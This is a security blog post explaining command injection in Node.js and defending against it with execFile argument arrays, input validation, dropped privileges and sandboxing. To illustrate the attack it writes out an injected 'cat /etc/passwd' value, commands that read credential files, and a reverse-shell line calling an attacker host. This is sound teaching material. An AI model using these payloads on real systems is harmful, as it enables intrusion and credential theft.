Blog/Injection
InjectionAugust 4, 2026 · 8 min read

Command Injection: How It Works and How to Prevent It

A support tool at your company lets an admin check whether a host is reachable. The code is four lines and it has worked for years:

app.post('/ping', (req, res) => {
  const { host } = req.body;
  exec(`ping -c 4 ${host}`, (err, stdout) => res.send(stdout));
});

Then someone submits host = "8.8.8.8; cat /etc/passwd" and gets your password file back. That is command injection, and the reason it works is that exec hands the whole string to a shell — /bin/sh -c "ping -c 4 8.8.8.8; cat /etc/passwd" — and the shell happily runs both commands. The fix is not to escape the input. The fix is to never involve a shell in the first place.

What command injection actually gives an attacker

When user input reaches a shell, the attacker isn't limited to breaking your one command. They inherit the full power of the shell running as your application's user:

  • Read and exfiltrate files; cat /etc/passwd, ; cat .env, ; cat ~/.aws/credentials
  • Chain commands; runs the next command, && runs it on success, || on failure
  • Substitute output into the command`id` or $(id) runs id and splices the result
  • Open a reverse shell; bash -i >& /dev/tcp/attacker.com/4444 0>&1
  • Pivot into the network — the server can often reach internal hosts the attacker cannot

The blast radius is whatever your app's process can do. If that process runs as root, or has cloud credentials in its environment, a single injectable ping box becomes full server and account compromise.

Where it hides

Command injection lives anywhere your app builds a command line from input. Hunt for calls that spawn processes with a string:

  • exec, execSync, spawn(cmd, {shell:true}) in Node.js
  • os.system, subprocess.call(..., shell=True), os.popen in Python
  • Runtime.exec(String), ProcessBuilder with a joined string in Java
  • system, exec, shell_exec, passthru, backticks in PHP

The classic feature-level sinks: ping/traceroute utilities, "convert this file" pipelines that call ImageMagick / ffmpeg / LibreOffice, PDF and thumbnail generators, git or svn operations, DNS lookups, and anything that unzips or processes an uploaded archive.

Argument injection: the subtler variant

Even when you avoid the shell, you can still be vulnerable if the attacker controls an argument that the target program treats as an option. If input starting with - or -- reaches a CLI tool, they may be able to flip on a dangerous flag — for example passing --upload-file to curl, or a filename like -oProxyCommand=... to ssh. The defense is the same idea one level down: validate that arguments are the shape you expect, and use -- to signal "everything after this is a positional argument, not a flag."

The fix: pass arguments as a list, with no shell

The single most important change is to stop building a command string and start passing an array of arguments to an API that executes the program directly, without a shell. When there is no shell, there is nothing to parse ;, |, $(), or newlines — those characters become literal parts of an argument, which fail harmlessly.

const { execFile } = require('child_process');
const net = require('net');

// VULNERABLE — string goes to a shell:
// exec(`ping -c 4 ${host}`)

// SAFE — execFile runs the binary directly, arguments as an array.
// No shell means ';', '|', '$()' are just literal characters.
app.post('/ping', (req, res) => {
const { host } = req.body;

// Still validate: the argument should look like a host, and must
// not start with '-' (which the ping binary would read as a flag).
if (typeof host !== 'string' || host.startsWith('-') || !net.isIP(host)) {
  if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) {
    return res.status(400).send('Invalid host');
  }
}

execFile('ping', ['-c', '4', '--', host], { timeout: 5000 },
  (err, stdout) => res.send(err ? 'Host unreachable' : stdout));
});

Layers that back up the primary fix

No single control is enough on its own; stack them:

  • Prefer a library over a subprocess. If a native library can do the job — resize an image, parse a PDF, resolve DNS — use it and skip the shell entirely. The safest command is the one you never run.
  • Allowlist the input's shape. After you've removed the shell, still validate that the argument matches the narrow pattern you expect. Reject leading -, cap the length, and use -- to end option parsing.
  • Drop privileges. Run the process as an unprivileged user with no cloud credentials in its environment. If injection ever does happen, the attacker inherits far less.
  • Sandbox the risky work. Push image/video/archive processing into a locked-down container or a serverless function with no network egress and a read-only filesystem, so a compromise is contained.

The takeaway is one sentence: build an argument list, not a command string, and never spawn a shell with user input in it. Escaping is a losing game of catch-up with the shell's grammar; removing the shell ends the game.

Want to see it end to end? The command injection simulation gives you a vulnerable diagnostics tool to exploit, then lets you apply the array-argv fix and watch the same payloads fail. It pairs well with the path traversal and SQL injection guides, which share the same root cause: untrusted data crossing into a place it's treated as code.

Share this post

Frequently Asked Questions

Related posts

Server-Side Template Injection: From {{7*7}} to RCE

SSTI happens when user input is rendered as part of a server-side template instead of passed as data. Here's how {{7*7}} becomes remote code execution, and how to render templates safely in Jinja2, Twig, and Node.js.

Aug 8, 2026 · 7 min read

LDAP Injection: Bypassing Auth Through the Directory

LDAP injection lets an attacker rewrite a directory query with characters like * ( ) and | — bypassing login and dumping user data. Here's how the filter syntax gets abused and how to escape it correctly in Node.js, Python, and Java.

Aug 7, 2026 · 7 min read

NoSQL Injection: When $gt and $where Bypass Your Login

NoSQL databases aren't immune to injection — they just get attacked differently. Here's how operator injection and $where JavaScript let attackers bypass auth in MongoDB, and how to stop it in Node.js and Python.

Aug 6, 2026 · 7 min read